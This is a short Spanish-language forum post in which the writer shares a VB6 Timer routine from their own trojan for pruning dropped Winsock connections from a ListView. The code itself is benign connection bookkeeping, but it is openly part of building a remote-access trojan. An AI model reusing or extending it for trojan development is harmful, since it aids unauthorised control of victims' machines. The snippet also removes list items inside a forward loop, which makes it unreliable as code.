mmmm una pregunta aaronduran2 ... y como haces si la conexion se pierde... el servidor no sabia q se iba a desconectar por lo tnato no pudo madnar la linea del codigo?
Private Sub Timer1_Timer()
Dim i As Long
Dim WSCK As Variant
For i = 1 To LV.ListItems.Count
WSCK = Split(LV.ListItems(i).Key, "|")
If WS(WSCK(0)).State <> 7 Then
LV.ListItems.Remove (i)
End If
Next i
End Sub
en mi troyano es asi... ahora no se como sera el nombre de tu LV, ni el del Winsock... osea, adaptalo

bueno esta de mas decir q tenes q poner un timer xD